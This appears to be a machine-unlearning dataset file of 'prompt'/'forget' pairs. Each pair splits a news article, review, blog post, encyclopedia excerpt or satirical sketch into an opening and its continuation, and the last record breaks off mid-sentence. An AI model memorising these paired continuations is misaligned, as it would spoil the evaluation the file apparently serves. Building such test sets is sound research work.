{"prompt": "Inside Publishing NO WORD UNSPOKEN Midway through the Confessions, St. Augustine recalls how he used to marvel at the way Ambrose, the bishop of Milan, read his manuscripts: \"His eyes traveled across the pages and his heart searched out the meaning, but his voice and tongue stayed still.\" Scholars have sparred for decades over whether Augustine's offhand observation reveals something momentous: namely, that silent reading--that seemingly mundane act you're engaged in right now--was, in the Dark Ages, a genuine novelty. Evidence abounds that ancient and medieval readers relished giving voice to their favorite texts in order to appreciate more fully", "forget": "the cadences of Homer and Lucian. Of course, we equally enjoy reading poetry aloud. The question is: Could the earliest readers literally not shut up? Paul Saenger thinks so--but his argument for the onetime dominance of the spoken word doesn't rest on Augustine. Saenger, a medieval-manuscript expert and a curator of rare books at Chicago's Newberry Library, believes that reading aloud wasn't a mere preference for the ancients, but a practical necessity. His explanation is simple: Ancientandmedievalmanuscriptslookedlikethis anditwaseasiertoreadthemaloud. In his provocative new book, Space Between Words: The Origins of Silent Reading (Stanford), Saenger argues that the practice of transcribing Greek and Latin manuscripts without spaces, or in scriptura continua, made reading silently a mind-bogglingly difficult task. \"It wasn't literally impossible to read silently,\" Saenger says, \"but the notation system was so awkward that the vast majority of readers would have needed to sound out the syllables, if only in a muffled voice.\" Saenger's book asserts that only at the end of the seventh century, when Irish monks introduced regular word separation into medieval manuscripts, did swift, silent reading become feasible. Why is it so hard to read text without spacing? Just imagine how difficult it would be for your computer's spell checker if you wrote a document in scriptura continua. The program would initially have to determine which syllables to slice into words, and then proceed with its main task. The human brain, fortunately, is more dexterous than a word processor, but the burden of breaking strings of letters into words is, nonetheless, a laborious first step. And therein lies Saenger's thesis: \"There is a correlation between a propensity to read orally in both past and contemporary cultures and the duration of cognitive activity needed to achieve lexical access in that culture's script.\" Saenger, who has a Ph.D. in medieval"}
{"prompt": "The top detective who was the first officer to dismiss sex abuse allegations against Leon Brittan claims he has been 'hounded out' of Scotland Yard after speaking the truth about the case. Paul Settle has taken early retirement from the Met after concluding he had no future in the force following his decision to expose the 'incompetence' of colleagues, who carried out a protracted inquiry into the discredited allegations against Lord Brittan. As he stepped down as a detective chief inspector, Mr Settle blamed Labour deputy leader Tom Watson's controversial intervention in the Brittan rape case for the demise of", "forget": "his 25 year police career. Ex-Scotland Yard detective Paul Settle (pictured) has taken early retirement after concluding he had no future in the force following his decision to expose the 'incompetence' of colleagues He also launched a wider attack on Mr Watson over his role in the VIP sex and paedophile scandal. Mr Settle said he was in 'no doubt' that a 2012 speech by Mr Watson in the House of Commons, which alleged the existence of a powerful paedophile ring with links to a former Prime Minister's advisor, was 'calculated' to damage the Conservative Party. He also accused the deputy leader and several Labour activists of being 'politically motivated' when they made allegations of sex abuse against a number of Tory grandees that were found to be unsubstantiated. Mr Settle believes that a former Labour councillor who made a number of unsubstantiated VIP child sex claims was driven by an 'extreme hatred' of the Conservative Party and that another Labour Party supporter, whose accusations of rape against Lord Brittan of rape were dismissed by police also openly loathed Tories. A retired trade unionist, who had dealings with Mr Watson and who spread untruths about Tory grandees, was described as being a 'well-meaning fantasist' by Mr Settle. As a result of the Labour smears, the lives and reputations of several respected Conservatives were 'destroyed', he said. But he reserved his most scathing comments for Mr Watson, who in 2014 intervened in a rape case concerning allegations made by a Labour Party supporter known as Jane, who alleged she was assaulted by former Tory Home Secretary Lord Brittan at his London flat in 1967. Mr Settle blamed Labour deputy leader Tom Watson (pictured) and his controversial intervention in the Brittan rape case for the demise of his 25 year police career"}
{"prompt": "MADISON, Wis. \u2013 Protests at the Wisconsin Capitol over public workers\u2019 collective bargaining rights cost more than $7.8 million for police, and damage to the Capitol will cost about $270,000 to repair, a state official said. Department of Administration Secretary Mike Huebsch said during a news conference Friday that local law enforcement incurred $3.9 million in overtime costs from Feb. 14 to March 13. Another $3.5 million was spent on overtime for state agencies that helped cover security such as the Capitol Police, Wisconsin State Patrol, Department of Natural Resources and the Division of Criminal Investigation. Huebsch said that the", "forget": "state has not paid any claims yet, but will pay overtime and some justified food expenses incurred by local law enforcement once they\u2019ve been audited. DOA officials also say a Capitol damage report written by restoration expert Charlie Quagliana found that protesters caused \u201c3-5 years of wear\u201d on the building in the course of two weeks that will cost $161,050 to repair. About $112,000 should be spent repairing damage to stonework, while another $30,500 has already been spent on extra custodial staff for cleaning. Quagliana\u2019s assessment cost about $13,000. The damage was related to nearly monthlong protests that saw daily demonstrations of tens of thousands of protesters in and around the Capitol. Several thousand protesters flooded the Capitol rotunda daily, with many setting up camp under the dome and staying the night. The Capitol walls were filled with signs affixed with blue painters\u2019 tape, which protesters used to avoid damaging the marble. Despite a handful of arrests over the course of the demonstrations, protesters maintained a peaceful presence and made efforts to clean parts of the building nightly. In his report, Quagliana said that the most significant damage was chipping and nicks to stones on the ground and first floors, which would have to be repaired through a process that includes trying to match the color of the stones. Quagliana noted residue left by tape from protester signs and oil damage from cardboard pizza boxes hung as makeshift signs. While he recommended a full cleaning of surfaces in public areas to remove the tape and residue, he also noted they have not had a full cleaning since the late 1990s\u2019 and were covered with layers of dust and grime. Another $108,500 will be spent repairing damage to the Capitol lawn and its shrubs that were damaged by rallies of thousands"}
{"prompt": "ONE man is dead and fourteen others have been hospitalised with suspected drug overdoses at a music festival in Penrith, Sydney yesterday. The 23-year-old deceased reveller travelled to the Defqon.1 festival by car with several friends. Just before midday he was taken in to the festival's medical tent, where his condition quickly deteriorated and he suffered several seizures, police say. An ambulance was then called and took the man to Nepean Hospital where he was resuscitated numerous times after multiple cardiac arrests. He died at 10.30pm last night. A police spokesman told The Daily Telegraph they were unsure what substance", "forget": "the man had consumed. \"That information is being prepared for the coroner,\" he said. \"It is certainly a warning to others out there if it was an overdose, which is what it is looking like.\" Over 18,000 people descended on the Sydney International Regatta Centre yesterday to listen to a range of hardstyle dance music. A police operation with drug dogs nabbed 87 partygoers, three for public order offences and the remainder for drug offences. An attendee took to Twitter saying the death may have been associated with a bad batch of ecstasy pills. Police have not confirmed this allegation. Defqon. 1 Festival is an annual music festival held in the Netherlands and Australia. It was founded in 2003 by festival organiser Q-dance and plays mostly hardstyle and related genres such as hardcore techno, jumpstyle and hard trance. Many prominent hardstyle and dubstyle artists perform there annually. Police have announced a media conference regarding the man's death and the large number of arrests made at the event for this afternoon. They also warned users of illegal drugs to be aware that while they may believe they are purchasing one drug they may get something completely different. \"People who attend dance parties and music festivals need to act with caution when considering taking an illicit drug. The effects of some of the more popular drugs at these venues such as MDMA (ecstasy) can cause overheating and dehydration with sometimes fatal consequences,\" Penrith Local Area Command Crime Manager Detective Inspector Grant Healey warned. It was the fifth year for the event described as being for \"hard dance enthusiasts\" with tickets for the Sydney International Regatta Centre event costing as much as $235. On its website organisers stress \"This festival is produced to give everyone a positive and safe experience. Q-dance maintains a"}
{"prompt": "Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email In 40 days, Britain goes to the polls to elect a new Westminster government. Before that, the council elections next week will give us a sure indication of how Scotland intends to vote on June 8. Every poll and pointer so far suggests three things will come to pass: 1. The SNP will still be, far and away, the biggest party. They will not reach the high-water mark of 2015", "forget": "with 56 of Scotland\u2019s 59 MPs but they will still be totally dominant. 2. Labour will take an absolute battering all over the country. Even though they hope to have three MPs, it is entirely possible, if not probable, that they will fail to return a single Scottish Labour member to the Commons. 3. The Tories will continue their resurgence and gain seats from the SNP. (Image: Daily Record/DWP) And while there are still almost six full weeks of campaigning to go and much to play for, the reason these things are likely to happen comes down to just one, mammoth, all-consuming national political obsession: the constitution. The SNP want independence at all or any cost. The Scottish Tories want to remain in Britain at all or any cost. And while Scottish Labour are unwaveringly behind the Union, mixed messages from London Labour have sown the seeds of doubt about the party\u2019s commitment to Scotland\u2019s place in the UK. These doubts have spread like a virus amongst committed Labour unionists who are turning away from the bosom of a party they\u2019ve supported all their life. Now they\u2019re lending their support to the Tories, believing they offer the best chance of halting the SNP march to independence. While those former diehard Labour voters are fully entitled to protect their cherished place in Great Britain, voting to strengthen the Conservatives\u2019 grip on power is a decision they may come to regret. Make no mistake, this is a Tory Government driven by right-wing ideology. Whatever it plans, it will not end well for the majority of working class Scots. (Image: PA) The Cabinet of Theresa May \u2013 the shameless Boris Johnson, Damien Green, Philip Hammond, David Davis, the Scot Liam Fox, et al \u2013 are no friends of Scotland. This newspaper was no"}
{"prompt": "Federal employees should be fairly compensated and their benefits protected, according to the 2016 Democratic presidential candidates. Former Secretary of State Hillary Clinton said as president that she would ensure feds are paid fairly through \u201cappropriate pay raises\u201d and would \u201coppose across-the-board arbitrary pay freezes, retirement cuts, or cuts to other employee benefits.\u201d Sen. Bernie Sanders of Vermont was a little more specific, saying the federal workforce deserves a pay raise \u201cof at least 3.8 percent to keep up with cost-of-living increases\u201d and pledged his \u201cstrong\u201d support for the FAIR Act, pending legislation in both chambers that would give feds", "forget": "a 5.3 percent pay boost in 2017. Clinton and Sanders were responding to a written questionnaire submitted to the 12 Republican and Democratic presidential campaigns still in operation in December by the International Federation of Professional and Technical Engineers. As of March 24, only the Clinton and Sanders campaigns had responded to the questions, which covered a range of issues, including federal employee pay, union rights, and the privatization of government jobs. \u201cFor far too long, the extreme right wing has demonized, belittled, and sought to destroy the federal workforce. That is wrong, that is unconscionable, and that has got to change,\u201d wrote Sanders in response to IFPTE questions asking the candidates if they would work to ensure pay raises for feds and protect their pensions. \u201cThe fact of the matter is that no other worker has been asked to sacrifice more on the altar of deficit reduction than our federal workers.\u201d Federal workers endured a three-year pay freeze between 2011 and 2013. They\u2019ve received across-the-board pay raises of 1.3 percent in 2016, and 1 percent each in 2015 and 2014. All those boosts were below the percentage mandated by the formula in the 1990 Federal Employees Pay Comparability Act. President Obama has proposed a 1.6 percent pay bump for 2017. Clinton noted that her experience as secretary of State, New York senator, and First Lady have enabled her to witness \u201cfirst-hand\u201d federal employees\u2019 contributions to the country. \u201cI was serving as Secretary of State when federal salaries were frozen in 2011, and I saw how difficult it was for employees to be told that even though they were working hard and their living costs were going up, their paychecks were not,\u201d Clinton wrote in response to the IFPTE questionnaire. \u201cThe government is not going to be able to recruit"}
{"prompt": "In September Dubspot had the pleasure of hosting Deep Medi Musik recording artist Tunnidge for a live streaming workshop. In these Dubspot-produced video recap of Tunnidge\u2019s appearance and workshop, the London producer offers a significant array of production advice, from EQing samples, to mixing and mastering suggestions, and even some tips on how get top DJs to play your tunes! Tunnidge goes in depth on his use of a PAZ Analyzer to clean up samples, Kontakt 5, and the frequency minefield of mixdowns. Some of Tunnidge\u2019s best advice can be heard clearly enough in his music, all of it made", "forget": "to a perfectionist\u2019s ear, each element obsessed over, and sitting perfectly balanced within the mix. Tunnidge\u2019s latest 12\u201d is \u201cControl\u201d b/w \u201cDecay,\u201d released on the Get Darker imprint, sounds like standing outside of a space ship construction zone, the muffled sound of a metal-cutting saw occasionally rising and falling. Tunnidge \u2013 \u201cDecay\u201d out now on GetDarker An easy standout release from both the Tunnidge catalog and Deep Medi\u2019s is 2008\u2019s blistering \u201cGeddeon,\u201d which expertly positions a ruff ragga vocal with an ethereal female voice, creating an emotional palette ripe for a heavy drop that bubbles and bounces with a tight, thick bassline.http://www.youtube.com/watch?v=JIkA1DcuSkY Tunnidge \u2013 \u201cGiddeon\u201d out now Deep Medi Musik In other decidedly gothic and relentless productions like \u201c7 Breaths,\u201d a release for Distance\u2019s Chestplate imprint, Tunnidge unleashes a stomach-turning amount of bass weight that will have anyone near a sub, out of breath. Tunnidge \u2013 \u201c7 Breaths\u201d out now Chestplate Purveyor of deep, dark, sub-driven beats, Tunnidge has quickly forged a reputation as a heavyweight of the Dubstep scene. Possessing a murky, cavernous sound as equally hypnotic as it is enlivening he has consistently produced quality progressive music since his first release. And what a first release: still rinsed by the biggest DJ\u2019s in the scene, Geddeon/Face Melt remains a classic 12\u2033 that will batter the best of sound systems and leave the dance floor well and truly slain. What\u2019s more, it\u2019s testament to Tunnidge\u2019s production prowess that this debut came on Mala\u2019s Deep Medi Musik imprint, widely acknowledged as a seminal label and one known for its exemplar releases. Stripping the sound back to its key components of bass and beats, Tunnidge produces a purist\u2019s sound: sub-bass that can be felt from head to toe, alongside a carefully-crafted snare that makes you flinch every time it rings out"}
{"prompt": "CTV British Columbia A Vancouver woman is selling her used Volkswagen in exchange for the trendy new online currency known as Bitcoin. Sarah Yu is making headlines for listing her white 2006 Jetta for just eight Bitcoin. That may not sound like a lot, but with one Bitcoin currently valued at $932, the asking price amounts to nearly $7,500. But why not just ask for cash? \u201cI believe in Bitcoin, I really do,\u201d the 30-year-old told CTV News. \u201cI think that cash is on its way out, cash is very devalued and Bitcoin is the future.\u201d The crypto-currency is an", "forget": "electronic way for people to pay each other or retailers for goods and services either over the internet or a mobile network. Bitcoins can be bought in a number of places \u2013 a special ATM opened up at Waves coffee shop in Vancouver in late October \u2013 and through online and in-person meetups. Yu said she considers Bitcoin an investment, despite the currency seeing high volatility over the last few months. In late October, one Bitcoin was worth more than $200. One month later it skyrocketed to $1,200, then plummeted back down to $500 in December before rising back up to $932 per Bitcoin. \u201cIt does have a reputation for being volatile, but I\u2019m not worried at all. For me it\u2019s a long-term strategy,\u201d she said. \u201cI\u2019m not looking to buy some Bitcoin and sell it at a profit\u2026it\u2019s not like the stock market. It\u2019s another form of currency to me.\u201d Bitcoin expert Graham Williams said more and more people are getting into using Bitcoin as the number of retailers who accept the online currency rises. According to Williams, everywhere from pizza parlours to shoe retailers to online gambling sites are beginning to accept Bitcoin. \u201cI think we will start to see people sell houses for Bitcoin,\u201d he said. \u201cIt has intrinsic value to it, so seeing people who actually make transactions for high-value items \u2013 not surprising at all.\u201d But Williams doesn\u2019t consider the currency to be mainstream yet \u2013 saying it must overcome a number of hurdles before that happens. Because Bitcoin isn\u2019t backed by a mint, transactions are not subject to the same regulations as other currencies. While every single transaction made using Bitcoin is posted publicly, the identity of the user remains anonymous -- making it hard to track perpetrators in the case of theft. The"}
{"prompt": "The strong scent of barbecue floats in the air as Big 12 officials and members socialize in a courtyard. A stage stands in the center, and a \"Welcome Members\" banner hangs over it, while red and white balloons are scattered all over. Stevie Ray Vaughn music plays in the background... Commissioner Bob Bowlsby walks up to the center of the stage, picks up his microphone, and begins addressing the crowd... Bowlsby: Good afternoon, everyone. It's great to be here amongst such esteemed institutions. This past year was a great year for the conference, and I'd like to take a couple", "forget": "of minutes to recognize a few of the major achievements we witnessed this past year. But, first, I need to thank one of our newest members, West Virginia, for agreeing to cater this event. Everyone give a warm, \"Thank you,\" to our friend from Morgantown. West Virginia: Thank you, everybody. I hope you enjoy it. Everything should be ready in about ten minutes. Bowlsby: Excellent. Thank you, sir. Now, back to recognitions. First, to Kansas State, I'd like to congratulate you on winning three conference championships in the past year. It's not every day one of the small budget schools, that shares a small state with a non-existent recruiting base, Gumps their way into a \"Triple Crown\". So, kudos. To everyone else, I'd like for you to take a good, long hard look at yourselves because this guy is now your gold standard, which means that unless you'd like to start playing your games on CBS College Sports with the rest of Conference U.S.Who Gives a Shit?, stop being a bunch of ass-hats and start winning something. Kansas: Hey, I won a women's track title! Oklahoma: Uh, softball, bro. Bowlsby: Point taken. Let me rephrase. Stop being a bunch of ass-hats and win something people give a shit about. Kansas: Not cool. Bowlsby: Not cool is blowing a #1 seed for the eighty billionth time. Tragic is bragging about women's track, dork. Oklahoma makes a gesture to respond and Bowlsby looks him right in the eye... Bowlsby: Cotton Bowl. Johnny Football. Shut the fuck up. Oklahoma starts to get red faced and his eyes begin to water... Bowlsby: You know, I had a really nice speech prepared for you guys, and it only took me thirty seconds before you pissed me off enough to let \"Bad Bob\" out. I can"}
{"prompt": "En bloggl\u00e4sare skriver till mig, men tycker att innan jag l\u00e4ser hans mail, b\u00f6r jag l\u00e4sa en artikel i finska Huvudstadsbladet. S\u00e5 d\u00e5 g\u00f6r jag det. Artikeln best\u00e5r av en l\u00e5ng intervju med den ryske ess\u00e4isten och poeten Lev Rubinstein, gjord och skriven av Anna-Lena Laur\u00e9n. Det som g\u00f6r att bloggl\u00e4saren vill att jag ska l\u00e4sa artikeln \u00e4r f\u00f6rmodligen det som Rubinstein s\u00e4ger om frihet och dubbelt\u00e4nk: \u2013 B\u00e5de frihet och lycka \u00e4r relativa begrepp. Under sovjettiden var frihet f\u00f6r m\u00e5nga lika med att inte sitta i f\u00e4ngelse. Tv\u00e5, tre \u00e5r efter att Stalin hade d\u00f6tt k\u00e4nde man frihet i", "forget": "j\u00e4mf\u00f6relse med stalinismen. I dag \u00e4r Ryssland mindre fritt \u00e4n f\u00f6r tio \u00e5r sedan, men ni och jag kan trots detta sitta och prata fritt p\u00e5 ett kaf\u00e9, det hade vi inte kunnat g\u00f6ra \u00e5r 1978. Jag jobbade p\u00e5 ett bibliotek under sovjettiden och det var min sociala tillflykt. Jag omgav mig med m\u00e4nniskor som t\u00e4nkte som jag. Att inte beh\u00f6va tvinga sig sj\u00e4lv till dubbelt\u00e4nk var frihet. /\u2026/ Dubbelt\u00e4nk, enligt Rubinstein, kan g\u00e5 ut p\u00e5 tv\u00e5 saker: att s\u00e4ga en sak och t\u00e4nka en annan eller att tvinga sig sj\u00e4lv att tro p\u00e5 n\u00e5got som man egentligen inte h\u00e5ller f\u00f6r sanning. \u2013 Det kunde j\u00e4mf\u00f6ras med att strypa sig sj\u00e4lv. Och det \u00e4r inte samma sak som att anpassa sig socialt. Jag sv\u00e4r g\u00e4rna, men jag g\u00f6r det aldrig inf\u00f6r barn eller \u00e4ldre kvinnor, helt enkelt d\u00e4rf\u00f6r att det inte passar sig. Det kallas f\u00f6r civiliserat beteende. En helt annan sak \u00e4r att undervisa studenter i Brezjnevs storhet om dagarna och dra vitsar om Brezjnev hemma i k\u00f6ket om kv\u00e4llarna. Att upptr\u00e4da i officiella sammanhang och h\u00e5lla tal som till punkt och pricka f\u00f6ljer den officiella liturgin f\u00f6r att sedan \u00e5ka hem och klaga f\u00f6r sin fru hur man hatar dessa m\u00f6ten. Bloggl\u00e4saren skriver: Jag \u00e4r svensk och jag k\u00e4nner igen mig och det skr\u00e4mmer mig. V\u00e4lutbildad. Arbetat i n\u00e4stan tv\u00e5 decennier inom mitt yrkesomr\u00e5de. Det gick bra f\u00f6r mig och jag avancerade, men jag underskattade faran som ligger i att inte passa in. Att t\u00e4nka annorlunda. Jag h\u00f6ll l\u00e5g profil kring hur jag t\u00e4nkte. Det hade mycket lite med den immigrationsfr\u00e5ga du ofta skriver om, men det finns \u00e4ven andra saker som \u00e4r minerade i Sverige idag. Tyv\u00e4rr var det inte en tillr\u00e4ckligt s\u00e4ker strategi att ligga l\u00e5gt med egna \u00e5sikter och g\u00f6mma sig i en neutral tj\u00e4nstemannaroll."}
{"prompt": "Texas Lt. Gov. Dan Patrick (REUTERS/Mike Stone/File Photo) The Texas lieutenant governor said on Monday he has enlisted Christian pastors statewide to help him win approval for legislation heading to a sate Senate committee this week that limits access to public restroom access for transgender people. Lieutenant Governor Dan Patrick, a Republican and conservative Christian who guides the legislative agenda in the Republican-controlled Senate, told a news conference at the Capitol the Texas Privacy Act is a common sense measure to keep sexual predators out of bathrooms. Critics contend the bill infringes on the civil rights of gay, lesbian, bisexual", "forget": "and transgender (LGBT) people. Business groups say it will cause economic damage, pointing to a similar measure North Carolina enacted into law last year that led to travel and commercial boycotts. Allowing transgender people to use public bathrooms corresponding to their gender identity rather than their birth gender has become the latest flashpoint in the long U.S. battle over LGBT rights. Patrick announced the start of a \u201cone million voices\u201d campaign, with pastors enlisted to win support from their congregations for the legislation. Committee debate starts on Tuesday. \u201cNorth Carolina was the tip of the spear. We will be next to pass a bill that focuses on privacy, a person\u2019s privacy, and public safety,\u201d Patrick said, adding there will be no economic harm if it is enacted. Before Patrick spoke, the U.S. Supreme Court scrapped plans to hear a major transgender rights case and threw out a lower court\u2019s ruling in favor of a transgender Virginia student after President Donald Trump rescinded a policy protecting such youths under federal law. A business group including some of the largest employers in Texas, such as American Airlines, sent a letter to Patrick this month opposing the bill, saying it is \u201cdiscriminatory legislation that jeopardizes the positive environment for our Texas business operations.\u201d Patrick may be able to push the bill through the state Senate, but analysts do not expect it to make it through the House. Speaker Joe Straus, a Republican who drives the agenda in that body, has shown tepid support, saying there are worries in San Antonio, an area he represents that is slated to host the 2018 NCAA Men\u2019s Basketball Final Four. \u201cIt may be likely that the bill will pass the Senate, but it will be dead on arrival in the House,\u201d said Mark Jones, a political science"}
{"prompt": "federal republic in North America Coordinates: The United States of America (USA), commonly known as the United States (U.S. or US) or America, is a country composed of 50 states, a federal district, five major self-governing territories, and various possessions.[f] At 3.8 million square miles (9.8 million km2), the United States is the world's third or fourth largest country by total area[g] and is slightly smaller than the entire continent of Europe's 3.9 million square miles (10.1 million km2). With a population of over 327 million people, the U.S. is the third most populous country. The capital is Washington, D.C.,", "forget": "and the largest city by population is New York. Forty-eight states and the capital's federal district are contiguous in North America between Canada and Mexico. The State of Alaska is in the northwest corner of North America, bordered by Canada to the east and across the Bering Strait from Russia to the west. The State of Hawaii is an archipelago in the mid-Pacific Ocean. The U.S. territories are scattered about the Pacific Ocean and the Caribbean Sea, stretching across nine official time zones. The extremely diverse geography, climate, and wildlife of the United States make it one of the world's 17 megadiverse countries.[19] Paleo-Indians migrated from Siberia to the North American mainland at least 12,000 years ago. European colonization began in the 16th century. The United States emerged from the thirteen British colonies established along the East Coast. Numerous disputes between Great Britain and the colonies following the French and Indian War led to the American Revolution, which began in 1775, and the subsequent Declaration of Independence in 1776. The war ended in 1783 with the United States becoming the first country to gain independence from a European power.[21] The current constitution was adopted in 1788, with the first ten amendments, collectively named the Bill of Rights, being ratified in 1791 to guarantee many fundamental civil liberties. The United States embarked on a vigorous expansion across North America throughout the 19th century, acquiring new territories,[22] displacing Native American tribes, and gradually admitting new states until it spanned the continent by 1848.[22] During the second half of the 19th century, the Civil War led to the abolition of slavery.[23][24] By the end of the century, the United States had extended into the Pacific Ocean,[25] and its economy, driven in large part by the Industrial Revolution, began to soar.[26] The Spanish\u2013American War"}
{"prompt": "Contrary to fears raised by marijuana opponents, teen use of cannabis is trending downward in most states that have legalized it for adult use. According to new data from the federally-funded National Survey on Drug Use and Health (NSDUH), the percentage of Colorado teens who used marijuana in the past year is down more than two points in the 2015-2016 version of the study as compared to the 2014-2015 edition. The same is true in Washington State. In Washington, D.C., the drop was nearly three points. A smaller decline was seen in Oregon, while Alaska showed a slight rise. Annual", "forget": "teen cannabis use is also down across the U.S. as a whole, but the drop was less significant than that experienced in Colorado and Washington, the first two states to legalize marijuana. Percentage Of 12-17 Year-Olds Who Used Marijuana In The Past Year STATE 2014-2015 2015-2016 Alaska 18.44 18.86 Colorado 18.35 16.21 District of Columbia 16.55 13.58 Oregon 17.56 17.35 Washington 15.61 13.54 Total U.S. 12.86 12.29 Similar drops were seen in most legalization states for monthly teen cannabis use as well. Percentage Of 12-17 Year-Olds Who Used Marijuana In The Past Month STATE 2014-2015 2015-2016 Alaska 10.64 10.43 Colorado 11.13 9.08 District of Columbia 8.85 8.07 Oregon 9.42 9.77 Washington 9.17 7.93 Total U.S. 7.2 6.75 Colorado and Washington State legalized marijuana in 2012, with Alaska, Oregon and Washington, D.C. ending cannabis prohibition in 2014. (Four additional states voted to legalize marijuana in 2016, but those programs weren\u2019t running when the new survey was completed.) While legalization opponents have long argued that ending prohibition would lead to skyrocketing use by young people, that doesn\u2019t seem to be happening. Advocates, on the other hand, have maintained that regulating and controlling the cannabis market and instituting strict age restrictions would actually give teens less access to marijuana than they had when it was illegal and there were no checks for age at the point of sale. In a Facebook post, cannabis consulting firm Freedman and Koski, Inc, which is run by Colorado\u2019s former top marijuana official, said that the drop in teen use in the state \u201ccoincides with an increase in funding prevention programs from cannabis taxes.\u201d \u201cColorado is effectively regulating marijuana for adult use. Teen use appears to be dropping now that state and local authorities are overseeing the production and sale of marijuana,\u201d said Brian Vicente, partner at Vicente"}
{"prompt": "Las Vegas fire captain gathers petitions to reinstate previous solar rates Las Vegas Fire and Rescue Capt. Richard Birt will present a petition letter with signatures from more than 500 valley firefighters to a governor-appointed energy task force today urging it to reinstate previous solar rates. Birt, 50, has been living off a $25,000 solar panel system since moving off the NV Energy grid in 2006. He spent the better part of eight weeks from January to March collecting signatures in favor of reversing a 2016 law that made solar energy more expensive for customers of NV Energy. Birt amassed", "forget": "508 signatures, accounting for nearly half of the firefighters between the Las Vegas and Clark County departments. \u201cI just want to be able to say, listen, I have 508 of my brothers and sisters in a public service safety profession who are concerned for our community,\u201d Birt said. \u201cOur voice needs to be heard.\u201d All NV Energy customers used to pay a fixed monthly service fee of $12.75, and under a policy known as net metering, the energy giant reimbursed solar-equipped customers about 11 cents per kilowatt-hour of excess electricity generated. Eager to take advantage of the desert sun\u2019s potential and the associated discounts, a skyrocketing number of Las Vegans installed solar panels on their roofs. Last December alone, 1,311 applications were filed to start the installation process. But a decision by the Nevada Public Utilities Commission forced solar customers to start paying a $17.90 monthly service fee starting Jan. 1. Over the next four years, that fee will rise to $38.51. And while solar customers will still pay 11 cents per kilowatt-hour of power bought from NV Energy, the value of their excess credits, which the PUC placed at 9 cents per kilowatt-hour this year, will fall to just 2.6 cents by 2020. The PUC\u2019s decision prompted companies like SolarCity and SunRun to cease Nevada installations. Applications for rooftop solar plummeted to 90 in January \u2014 down 93 percent from December\u2019s 1368 applicants, according to Chandler Sherman, spokeswoman for the Bring Back Solar Alliance. Last month, just 18 Nevadans applied to go solar, Sherman said. Tyler Elliott, 33, is one of the firefighters who signed Birt\u2019s petition, even though he hasn\u2019t installed solar panels at his Las Vegas home. Elliott, like Birt, said he thought NV Energy should \u201cembrace solar instead of discouraging it.\u201d He emphasized the safety of"}
{"prompt": "Update 8/4/16: Several spec teardown reports have uncovered slight difference in the graphical hardware performance of Xbox One S. Specifically, Xbox One S has a small GPU clock increase of 914 MHz from 853 MHz and an ESRAM bandwidth increase of 219 GB/s from 204 GB/s. These bumps are only noticeable in-game in a small number of situations. In fact, they exist only as an bonus side effect of Microsoft ensuring HDR content performs without a hitch. This is more like it. The Xbox One S is the version of the console that Microsoft should've first released back in 2013", "forget": "instead of the lumbering beast that we got. It's better in a number of ways, making it even more of a worthy alternative to Sony's PlayStation 4. Xbox One S offers a far more attractive enclosure, options for a bigger hard drive, a slightly redesigned controller and some video perks for owners of 4K TVs. It starts at $300, \u00a3250 or AU$400 for the 500GB version; $350, \u00a3300 or AU$500 for a 1TB model; and $400, \u00a3350 or AU$549 for 2TB. That last model is available to buy as of today in the US (and includes the vertical stand that otherwise costs $20 when purchased separately in the US), while those with the smaller hard drives will be available later in August, bundled with games such as Madden 17 and Halo. (Additional bundles will follow later in the year -- including a pricier 2TB Gears of War 4 version in October -- and may vary by region.) Sarah Tew/CNET Sounds like a slam dunk, right? Unfortunately, it's never that simple. The One S doesn't get an across-the-board \"buy it now\" recommendation for two reasons. First off, it doesn't deliver huge improvements for anyone who already owns an Xbox One. But more importantly, Microsoft has already promised that the next Xbox -- dubbed Project Scorpio -- will be arriving in late 2017 with with the seriously amped-up graphics and VR-ready hardware that audiences are clamoring for. When it's all said and done, the Xbox One S should be primarily viewed as a slimmed-down version of the Xbox One that introduces a mildly updated controller and provisions for 4K display. It's not going to warp you into a state-of-the-art gaming experience. Pragmatically, you're probably better off nabbing an older Xbox One, which are now being sold at fire-sale prices. But if you"}
{"prompt": "Today the crisis of American government is expressed in an ungainly phrase that rarely appeared in conservative vocabulary in the 1950s and 1960s\u2014the \u201cadministrative state,\u201d by which is meant the independent \u201cfourth branch of government\u201d that fits nowhere within the scheme of the Constitution as understood by its authors. Conservatives were slow to perceive the full nature and origins of the administrative state. They saw Marxism and radicalism as wholly foreign in character, and the character of Progressive Era and New Deal bureaucracy as primarily economic and narrowly constitutional in nature. They missed the benign-sounding homegrown versions of deeply radical", "forget": "political philosophy behind the administrative state, and especially the key role of Woodrow Wilson and similar Progressive Era intellectuals. If Wilson was mentioned at all, it was usually with a shrug or mild approval of his conventional expressions of Christian faith. The urgency of the Cold War dominated the attention of conservative intellectuals and activists alike, and with the predations of the New Deal fresh in mind, it was understandable that the conservatism of that time would set the New Deal as the horizon line for their attack on current American politics. Only slowly did it come into focus that the New Deal was not the key turning point toward liberalism, and that socialism is not the chief threat to constitutional government and individual liberty. The \u201cadministrative state\u201d is not a new or recent phrase; it has been around for several decades, but its nature and depth was only recently more fully appreciated. Once confined chiefly to scholars and policy wonks, the term is now in widespread popular use. The administrative state is not the same thing as bureaucracy, with its connotations of wastefulness, inefficiency, red-tape, and rule-bound rigidity, nor it is limited to the post-New Deal welfare and entitlement state. Its character is best described by Alexis de Tocqueville in his famous chapter on \u201cWhat Sort of Despotism Democratic Nations Have to Fear.\u201d After struggling over what to call it, he could do no better than \u201csoft despotism.\u201d The administrative state represents a new and pervasive form of rule, and a perversion of constitutional self-government. It has deep theoretical roots that were overlooked for a long time, roots inimical to the Constitution, thereby providing a lesson in the importance of understanding the principles of the Constitution. A chief feature of the administrative state is its relentless centralization, but with"}
{"prompt": "According to this report from Replays.net, this is how transfers have been standardized under the ACE Alliance in Chinese Dota 2. The latter half of the article reveals the transfer fees and related details of some of this year\u2019s biggest moves. If Team B wishes to buy Team A\u2019s player C, then B must first approach A and confirm whether the player is available for transfer. If A agrees, only then is B allowed to approach the player C. If player C is open and willing, then Team B can lay out their transfer conditions and offer. If player C", "forget": "does not agree to these terms, then he will remain at his current club; if player C agrees, then all three parties, A, B, and C need to communicate with ACE via email and receive their confirmation. In the ensuing days, the involved parties need to come to the ACE offices in order to sort out paperwork and related processes, and then they are allowed to make official announcements regarding the news. If the new team and their new player decides to use existing contracts, then they perform a trade of contracts while at ACE. If they decide to sign a new contract, then the new contract will be signed and backup files stored with ACE. In the case later on that a party fails to uphold their end of a contract, then ACE will be abe to lay penalties according to existing policies. Below are images from the transfer of KingJ from TongFu to 